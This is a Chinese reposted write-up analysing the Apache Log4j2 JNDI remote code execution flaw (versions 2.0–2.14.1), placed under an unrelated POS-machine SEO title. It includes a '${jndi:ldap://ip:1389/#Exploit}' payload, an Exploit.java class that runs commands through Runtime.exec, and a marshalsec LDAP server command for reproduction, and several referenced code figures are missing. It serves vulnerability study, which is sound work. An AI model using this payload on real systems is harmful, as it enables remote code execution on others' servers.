pos機遠程

 新聞資訊3  |   2023-08-15 10:38  |  投稿人:pos機之家

網上有很多關于pos機遠程,Apache Log4j2 遠程代碼執(zhí)行漏洞分析的知識,也有很多人為大家解答關于pos機遠程的問題,今天pos機之家(www.www690aa.com)為大家整理了關于這方面的知識,讓我們一起來看下吧!

本文目錄一覽:

1、pos機遠程

pos機遠程

0x01 漏洞簡介

Apache Log4j2是一個基于Java的日志記錄工具。由于Apache log4j2某些功能存在遞歸解析功能,攻擊者可直接構造惡意請求,觸發(fā)遠程代碼執(zhí)行漏洞。漏洞利用無需特殊配置,經阿里云安全團隊驗證,Apache Struts2、apache Solr、Apache Druid、Apache Flink等均受影響。

漏洞適用版本為2.0 <= Apache log4j2 <= 2.14.1,只需檢測Java應用是否引入 log4j-api , log4j-core 兩個jar。若存在應用使用,極大可能會受到影響。

0x02 環(huán)境搭建

創(chuàng)建Maven項目,并將以下配置文件放在pom.xml中

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>groupId</groupId> <artifactId>xxxx</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> </properties> <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> </dependencies></project>

在https://logging.apache.org/log4j/2.x/download.html 下載編譯好的Apache Log4j jar包

最后在項目中添加log4j-core-2.14.1.jar 依賴

將項目創(chuàng)建好后即可添加漏洞代碼

import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class Main { private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { logger.error("${jndi:ldap://ip:1389/#Exploit}"); }}0x03 漏洞分析0x1 漏洞觸發(fā)

本次漏洞觸發(fā)相當簡單,只要使用了org/apache/logging/log4j/spi/AbstractLogger.java log進行記錄,且log等級為可記錄等級即可觸發(fā)。

private static final Logger logger = LogManager.getLogger();public static void main(String[] args) { logger.error("${jndi:ldap://ip:1389/#Exploit}");}

一旦在log字符串中檢測到${},就會解析其中的字符串嘗試使用lookup查詢,因此只要能控制log參數內容,就有機會實現漏洞利用。因此也可以使用如下方式觸發(fā)

logger.error("8881273asdf${jndi:ldap://ip:1389/#Exploit}aksdjfhuip8efas");0x2 入口函數

本次漏洞的入口函數為logIfEnabled,然而如果使用了AbstractLogger.java中的debug、info、warn、error、fatal等都會觸發(fā)到該函數

0x3 核心原理之匹配

該漏洞的核心原理為,在正常的log處理過程中對 ${ 這兩個緊鄰的字符做了檢測,一旦匹配到類似于表達式結構的字符串就會觸發(fā)替換機制。

替換機制采用this.config.getStrSubstitutor().replace 函數,該處理函數調用棧如下

0x4 核心原理之解析

在replace函數中存在此次漏洞的關鍵部分提取${}內的lookup參數。經過兩層substitute調用后,相關提取代碼如下

簡單來說,pos為當前字符串頭指針,prefixMatcher.isMatch只負責匹配 ${ 兩個字符。如果匹配到就進入第二層循環(huán)匹配,原理和代碼相似。如果沒有匹配到}字符,pos指針就正常+1。

下面代碼為匹配}字符

一旦匹配到}字符,代碼就會進入第三個階段,提取表達式的內容賦值給varNameExpr變量

那么表達式解析部分就到這里結束了。目前解析到的字符串為

jndi:ldap://127.0.0.1:1389/0x5 核心原理之查詢

在正確提取表達式內容后,log4j將會使用該內容作為lookup參數,進行正常的lookup查詢。代碼如下

通過調試發(fā)現interpolator類的lookup函數會以:為分隔符進行分割以獲取prefix內容,筆者傳入的prefix內容為jndi字符串因此this.strLookupMap獲取到的類為JndiLookup類,如下圖所示。

之后又通過jndiManager類進行調用,成功執(zhí)行到javax/naming/InitialContext.java 原生lookup解析函數

0x04 漏洞利用0x1 編寫利用類

因為利用ldap方式進行命令執(zhí)行,首先要編寫最后的命令執(zhí)行代碼。Exploit.java

import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.Reader;import javax.print.attribute.standard.PrinterMessageFromOperator;public class Exploit{ public Exploit() throws IOException,InterruptedException{ String cmd="touch /tmp/xxx"; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); } private static void printMessage(final InputStream input) { // TODO Auto-generated method stub new Thread (new Runnable() { @Override public void run() { // TODO Auto-generated method stub Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null; try { while ((line=bf.readLine())!=null) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); }}

編譯代碼后,開啟HTTP服務

javac Exploit.java0x2 開啟ldap服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8800/#Exploit0x05 總結

通過復現調試該漏洞,深入了解了apache Log4j2日志記錄的底層原理。關于該漏洞的利用網上還有很多姿勢,整體來講漏洞利用簡單,且漏洞危害巨大,配合一些其他服務及系統(tǒng)有可能產生更大的影響。

參考文章

https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPghttps://nosec.org/home/detail/4917.html

本文由D4ck原創(chuàng)發(fā)布轉載,請參考轉載聲明,注明出處: https://www.anquanke.com/post/id/262668安全客 - 有思想的安全新媒體

以上就是關于pos機遠程,Apache Log4j2 遠程代碼執(zhí)行漏洞分析的知識,后面我們會繼續(xù)為大家整理關于pos機遠程的知識,希望能夠幫助到大家!

轉發(fā)請帶上網址:http://www.www690aa.com/newstwo/99031.html

你可能會喜歡:

版權聲明:本文內容由互聯(lián)網用戶自發(fā)貢獻,該文觀點僅代表作者本人。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。如發(fā)現本站有涉嫌抄襲侵權/違法違規(guī)的內容, 請發(fā)送郵件至 babsan@163.com 舉報,一經查實,本站將立刻刪除。